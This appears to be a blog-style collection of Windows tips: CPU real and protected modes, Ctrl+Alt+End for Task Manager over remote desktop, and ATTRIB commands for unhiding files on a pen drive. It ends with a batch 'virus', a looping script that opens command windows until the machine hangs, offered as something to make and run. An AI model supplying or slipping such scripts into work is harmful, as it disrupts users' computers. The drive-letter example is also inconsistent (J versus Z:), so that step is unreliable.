Real Mode And protection mode in Computer?

Protected mode:

 Protection against execution of inadmissible functions is hardware implemented inside processors (CPU), and it is active while the CPU operates in protected mode. Besides the protection itself, protected mode gives several important advantages, and this is why it has become the main operating mode for modern CPUs. For application programs and for the user the protected mode resembles a virtual shell, disabling all actions, which may inflict any harm to vital functions of operating system. This is the main factor of high reliability, inherent to modern operating systems

Real Mode:

Real mode is a "defenseless" mode.This mode is required by BIOS: it must have free access to computer hardware for performing the Post test.Just because of this mission all processors are automatically set into real mode each time thepower supply is switched on. Operating systems too can't obtain control over computer's hardware unless protection is disabled, and therefore must start while CPU runs in a "defenseless" real mode.

Having got total control over computer, operating systems of the Windows clone prepare protection data structure so that after switching to protected mode the highest privilege level is granted to Windows OS itself, whereas both the user and applications are given the third (the lowest) privilege level. Since then and for ever the user wouldn't be allowed to change this allocation of rights. Because of the same reason all opportunities beyond the limits of Windows' API become inaccessible for the user and for his application programs in protected mode

How to open explorer.exe of remote location window ?

How to open explorer.exe/ Task manager of remote location window ?

To open explorer.exe or Task manager window ,you can use  

Ctrl +Alt+End

instead of

Ctrl+Alt+Del

Explanation:

Sometime it happens that your remote location system is hanged due to some application and you stop your explorer.exe to recover it or some virus stop your explorer.exe.

In that case, to open all windows again you have to open explorer.exe through task manager window.

But Ctrl+alt+del do not work on remote location window.So you can use Ctrl+alt+end.

after that you can open explorer.exe by just typing it on new task .

How to recover Hidden item from PD

How to Recover Hidden item from Pen Drive

Some time it happens  that your pen drive showing space full but there is no item showing in it.

It happens just because of virus problem .They convert your file attribute and make them hidden.

• You can see your hidden file by Folder and search option window

• But in some cases files still not visible because virus convert them as SYSTEM FILE.
• To access these file you can use these commands:

1. Open Command prompt
2. Go to that drive using Drive Letter : i.e if your pen drive is showing J drive then command is Z:
3. Execute following command:

                                                    ATTRIB -H -S FILENAME

Note: If you don't know file name then you can search them by using TAB.

Explanation:

ATTRIB : This command is used to change attribute of a file/folder

+ or - H: add or remove hidden attribute.

+ or - S : add or remove in system file

You can use this method to hide your file so that No one can view your personal files and folders.

Virus-Creating a simple Batch virus to hang your computer.

Creating A Simple virus through Batch file

Batch programming is a powerful programming to create different viruses by using simple DOS commands.

Here I am showing you how to create a simple virus using batch file.

• Open notepad
• Write following code in it-

                     @echo off
                       : Loop
                       Start
                       echo OS not found !!!!!!!!!
                       goto Loop

• Save this text file with ".Bat" extension
• Run .Bat file
• When you run this file many command prompt appears one after another and your computer get hanged.

Explanation:

In this batch file we just use simple commands which are explained below-

@echo off : This command hide your prompt i.e C:\> will not appear on cmd screen.

:loop : It is a label,you can replace it with another word like your name :)

Start : This command is used to open new CMD screen.

echo : You can give your message through echo command.

goto: Goto command is a jump command which move your execution on given lable.

So in this programming we just open cmd screen many times by executing Start command many times.